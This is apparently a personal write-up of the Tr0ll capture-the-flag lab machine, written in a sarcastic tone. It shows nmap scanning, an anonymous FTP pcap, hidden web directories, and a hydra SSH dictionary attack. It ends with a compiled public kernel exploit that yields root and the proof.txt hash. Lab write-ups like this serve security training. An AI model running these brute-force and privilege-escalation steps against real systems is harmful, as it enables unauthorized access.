The goal is simple, gain root and get Proof.txt from the /root directory.

```
┌──(kali㉿kali)-[~]
└─$ nmap -A 192.168.1.131
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-12 19:07 WEST
Nmap scan report for 192.168.1.131
Host is up (0.00034s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 10  2014 lol.pcap [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.1.132
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.58 seconds
```

As nmap says, when logging in on FTP with username **anonymous**, there's a file **lol.pcap**. Let's see what's in it

There's reference to a file **secret_stuff.txt** in the .pcap file, but it's not inside the ftp server

Let's check the http server. The home page and the /secret directory both have a troll face .jpg

About the .txt file, we can check the file contents with wireshark

```
Line-based text data (3 lines)
    Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n
    \n
    Sucks, you were so close... gotta TRY HARDER!\n
```

Inside the directory there's a file **roflmao**
When trying to execute it I got this

```
┌──(kali㉿kali)-[~/Desktop]
└─$ ./roflmao
Find address 0x0856BF to proceed
```

Yes you tricked me. Once.

Index of /0x0856BF

Name	Last modified	Size	Description
Parent Directory		-	
good_luck/	2014-08-12 23:59	-	
this_folder_contains_the_password/	2014-08-12 23:58	-	

Apache/2.4.7 (Ubuntu) Server at 192.168.1.131 Port 80

Inside each folder there's one file
Inside good_luck, file **which_one_lol.txt**

```
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
```

Inside the other folder, file **Pass.txt**

```
Good_job_:)
```

Let's not disregard the file names as possible passwords.
We can do a dictionary attack with hydra using all these usernames/passwords

```
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -L users -P pwd 192.168.1.131 -t 4 -V ssh
```

```
[ATTEMPT] target 192.168.1.131 - login "overflow" - pass "Pass.txt" - 37 of 53 [child 1] (0/9)
[22][ssh] host: 192.168.1.131   login: overflow   password: Pass.txt
[ATTEMPT] target 192.168.1.131 - login "which_one_lol" - pass "Pass.txt" - 41 of 53 [child 1] (0/9)
```

Okay, so the ssh credentials are **overflow:Pass.txt**

```
$ whoami
overflow
$ /bin/bash-i
-sh: 2: /bin/bash-i: not found
$ /bin/bash -i
overflow@troll:/$ whoami
overflow
overflow@troll:/$ |
```

Cool.

Honestly, this is not even funny. I can literally log in again whenever I want. It's pointless and you're unsuccessfully trying to be funny

```
Broadcast Message from root@trol
        (somewhere) at 7:40 ...

TIMES UP LOL!

Connection to 192.168.1.131 closed by remote host.
Connection to 192.168.1.131 closed.
```

I thinks there's a PE exploit for this linux version

```
overflow@troll:/$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
overflow@troll:/$ |
```

So this exploit worked https://www.exploit-db.com/exploits/37292. I downloaded it and did the following

```
overflow@troll:/tmp$ ls -alh
total 16K
drwxrwxrwt  2 root     root     4.0K Apr 14 07:46 .
drwxr-xr-x 21 root     root     4.0K Aug  9  2014 ..
-rw-rw-r--  1 overflow overflow 5.0K Apr 14 07:46 37292
overflow@troll:/tmp$ chmod +x 37292
overflow@troll:/tmp$ mv 37292 exp.c
overflow@troll:/tmp$ gcc exp.c -o exp
overflow@troll:/tmp$ chmod +x exp
overflow@troll:/tmp$ ./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
# /bin/bash -i
root@troll:/tmp# whoami
root
root@troll:/tmp# |
```

```
root@troll:/root# cat proof.txt
Good job, you did it!


702a8c18d29c6f3ca0d99ef5712bfbdc
root@troll:/root#
```

This was not fun at all, pointless rabbit holes with failed attempts to be funny.
I wasted so much time with the SSH brute forcing when the password was the name of the file.
I'm probably skipping Tr0ll 2. It's **not** funny, just a waste of time. I'm better off practicing on other machines